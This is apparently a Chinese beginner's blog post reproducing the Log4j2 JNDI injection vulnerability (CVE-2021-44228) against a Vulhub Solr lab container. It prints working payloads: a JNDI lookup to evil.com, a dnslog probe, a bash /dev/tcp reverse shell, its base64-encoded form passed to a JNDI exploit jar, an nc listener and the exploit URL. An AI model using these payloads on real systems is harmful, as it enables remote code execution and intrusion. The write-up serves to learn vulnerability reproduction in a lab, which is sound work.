CVE-2021-44228 apache log4j2 远程代码执行漏洞复现

漏洞介绍

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。

在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于

${jndi:ldap://evil.com/example} 的lookup用于进行JNDI注入,执行任意代码。

环境搭建

用虚拟机的docker来搭建靶机

搭建vulhub环境 进入到vulhub lo4j文件夹

看到docker-compose.yml文件 输入下面命令 

docker-compose up -d

然后访问 http://your-ip:8983即可查看到Apache Solr的后台页面。

访问成功 

漏洞复现 

 去申请一个dnslog拿到域名

拿到的dnslog去利用

${jndi:zc885m.dnslog.cn}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包 可以看到dnslog显示出了我们的访问

 

反弹shell利用

这里会用到一个JNDI工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 可以去网上搜索一下 下载下来直接用

这里我们先构造一个反弹shell的命令

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

然后进行一个base64的编码

 加密完毕后把结果复制下来,构造payload,输入如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTUyLzEwMjExIDA+JjE=}|{base64,-d}|{bash,-i}" -A "172.16.10.152" 

-C 后面是你要执行的命令 -A是你的启动服务ip地址

 

这里的地方注意command后面一定要变成你构造的命令和编码

这里的地方就是JNDI给我们起的3个服务 实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url,然后我们就可以回到刚才的网站去进行JNDI注入

然后我们在我们构造反弹shell的主机 监听

nc -lvvnp 10211

然后访问我们靶机ip http://your-ip:8983 构造url

solr/admin/cores?action=${jndi:ldap://172.16.10.152:1389/oyoxrt}

 访问 

 

可以看到网页重新定向到恶意类网址

 反弹的shell也过来了我们执行一下whoami或者id就可以看到我们权限

复现完成

网络安全初学者的第一次漏洞复现

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

给我吧唧一下

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值